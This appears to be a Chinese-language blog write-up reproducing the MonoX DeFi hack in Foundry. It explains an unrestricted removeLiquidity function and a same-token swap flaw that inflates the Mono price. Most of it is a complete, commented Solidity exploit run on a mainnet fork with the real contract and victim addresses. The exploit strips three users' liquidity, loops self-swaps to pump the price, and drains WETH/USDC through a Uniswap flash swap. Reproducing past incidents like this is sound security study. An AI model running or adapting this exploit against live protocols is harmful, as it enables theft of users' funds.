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1. 前情提要和思路介绍

Monox使用单边池模型，创建的是代币-vCash交易对，添加流动性时，只需添加代币，即可进行任意代币的兑换

主要的漏洞有两个方面：

• 可以在Monox官网查看提供代币流动性的用户地址，但是每个用户的流动性，任意的用户都可以调用移除流动性函数，进行流动性的移除。
• 在Monoswap的代币交换函数中，并未考虑tokenIn 和tokenOut相等的情况，代码逻辑处理的时候，出现价格覆盖的情况，Mono代币价格异常抬升，具体可见相关攻击实现的分析。

2. Foundry复现攻击流程

foundry进行外部合约调用的时候，用interface定义相应的方法，并定义对应合约的地址，实现外部合约的调用（觉得比较好的方式）

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";interface IERC20 {function balanceOf(address owner) external view returns (uint256);function approve(address spender, uint256 value) external returns (bool);function transfer(address to, uint256 value) external returns (bool);function deposit() external payable;
}interface IuniswapV2pair {function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}interface IMonoswap {function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);function swapExactTokenForToken(address tokenIn,address tokenOut,uint amountIn,uint amountOutMin,address to,uint deadline) external returns (uint amountOut);function swapTokenForExactToken(address tokenIn,address tokenOut,uint256 amountInMax,uint256 amountOut,address to,uint256 deadline) external returns (uint256 amountIn);function pools(address)externalviewreturns (uint256 pid,uint256 lastPoolValue,address token,uint8 status,uint112 vcashDebt,uint112 vcashCredit,uint112 tokenBalance,uint256 price,uint256 createdAt);
}interface IMonoXPool {function totalSupplyOf(uint256 pid) external returns (uint256);function balanceOf(address account, uint256 id) external returns (uint256);
}address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

攻击代码

调用forge进行测试

 forge test --match-contract test_Monox -vv

结果：

contract test_Monox is Test{function setUp() public {vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);}//首先folk以太坊上对应区块的状态function test_Monox_exploit() public {IERC20(Mono).approve(address(Monoswap), type(uint256).max);IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));IERC20(weth).approve(address(Monoswap), 0.1 ether);//在进行对应的代币转移的时候，一定要记得先进行approve操作IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));//提取weth，并调用monoswap的函数，将0.1weth换成对应的Mono代币，易进行后续操作remove_liquidity_user();uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));console.log("attacker gain liquidity: ", liquidity);//攻击者自己添加对应的流动性，获得对应LP流动性证明，为后续拉升Mono价格做准备raise_mono_price();swap_mono_for_weth();//将对应高价格的mono代币置换成weth}function remove_liquidity_user() public {(uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("pid:  ", pid);console.log("monoXpool's mono balance: ", balance);uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);//漏洞函数，根据phalcon的调用序列，移除对应用户的流动性uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);}function raise_mono_price() public {for(uint i = 0 ; i < 55 ; i++){(uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);console.log("Mono token Price - ",i,":  ",  price);}//按照对应的调用序列，得到池子里的Mono余额，并调用对应的漏洞函数，swapEaxctTokenForToken}function swap_mono_for_weth() public {uint weth_balance = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance);uint mono_balance = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance);IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");//闪电贷，借贷weth和usdc的pair对uint weth_balance2 = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance2 - weth_balance);uint mono_balance2 = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance - mono_balance2);}function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);require(success);//在回调函数中，调用monoswap对应的函数，将mono换成对应的usdc，实现对应的usdc还款。}function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));// a = 0xf23a6e61return a;}//在添加流动性的时候，会回调对应的函数，否则会报错
}

攻击poc如果没有定义相应的的onERC1155Received，则在流动性生成时会报错，如下图所示：